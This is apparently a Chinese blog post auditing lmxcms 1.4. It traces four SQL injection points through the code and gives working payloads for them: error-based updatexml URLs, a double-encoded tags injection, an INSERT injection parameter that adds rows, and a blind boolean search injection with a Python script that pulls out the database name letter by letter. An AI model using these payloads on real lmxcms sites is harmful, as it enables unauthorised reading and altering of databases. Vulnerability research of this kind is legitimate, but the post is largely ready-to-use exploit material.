当前位置:网站首页>lmxcms1.4
lmxcms1.4
2022-08-04 05:27:00 【Ki10Moc】
环境准备
PHP5.4.45
进来后先安装
该框架漏洞在cnvd可以找到很多
代码审计
sql注入
后台
基本流程:getReply->parent::selectModel->parent::selectDB->sql
c/admin/BookAction.class.php下存在一处sql查询

这里跟进查询
到db.class.php

在封装的selectDB方法下
在这里添加一句echo $sql;

注意闭合符号

url/admin.php?m=book&a=reply&id=1) or updatexml(1,concat(0x7e,version()),1)%23

前台
TagsAction.class.php
基本流程:getNameData->parent::oneModel->parent::oneDB->sql
接着是

这里封装的p函数
可以看到之类有sql的过滤

同理,在oneDB下加上echo $sql;

这里可以用单引号来闭合,但是会转义
注意到源码

那就来二次编码

可以看到执行成功
SELECT * FROM lmx_tags WHERE name = 'a' or updatexml(0,concat(0x7e,version()),1)#' limit 1sql语句有误XPATH syntax error: '~5.7.26'
BookAction.class.php
checkData函数

基本流程:checkData->index::add->parent::addModel->parent::adddDB
老样子,打上输出语句
将需要的参数都添加上

这里是个insert语句



setbook=a&name=a&content=b&mail=c&tel=d&time,ischeck)VALUES(1,2,3,4,5,6,1);#=1
这里看下数据库

我们的数据已经插入
还应该注意一个参数
ischeck=1,可回显,也就是可见
ischeck=0,就是不可见
SerchAction.class.php
基本流程:searchModel->searchCoutn::parent::countModel::parent::countDB->sql
?m=search&keywords=a&mid=1&tuijian=id%20or%20(if(ascii(substr(database(),1,1))=0x6c,1,0));%23

说明第一个字母是l
可以修改下源码的编码方式继续注入
也可以通过Lxxx师傅的脚本
import requests
url = "http://localhost?m=search&keywords=b&mid=1&tuijian=id or (if(ascii(substr(database(),{},1))={},1,0)); %23"
ans = ""
for i in range(1, 7):
for j in range(97, 97+26):
surl = url.format(i, hex(j))
res = requests.get(surl)
if len(res.text) > 6000:
ans += chr(j)
print(ans)

一篇很久之前的文章,如有错误欢迎指出
边栏推荐
猜你喜欢
随机推荐
JS深复制对象方法(深拷贝)
什么是跨域和同源
lambda函数用法总结
关于 for in与for of 的差别以及如何使用
嵌入式系统驱动初级【3】——字符设备驱动基础中_IO模型
对象存储-分布式文件系统-MinIO-2:服务端部署
7.15 Day21---MySQL----索引
Delphi-C端有趣的菜单操作界面设计
string类简介
TensorRTx-YOLOv5工程解读(二)
js 基础学习笔记
程序员的财富观
自己学习爬虫写的基础小函数
关于C#的反射,你真的运用自如嘛?
MySql data recovery method personal summary
[原创]STL容器map和unordered_map性能,创建,插入,随机访问速度对比!
Shell(1)简介入门
C语言 -- 操作符详解
webrtc中的引用计框架
ES6 Const Let Var的区别









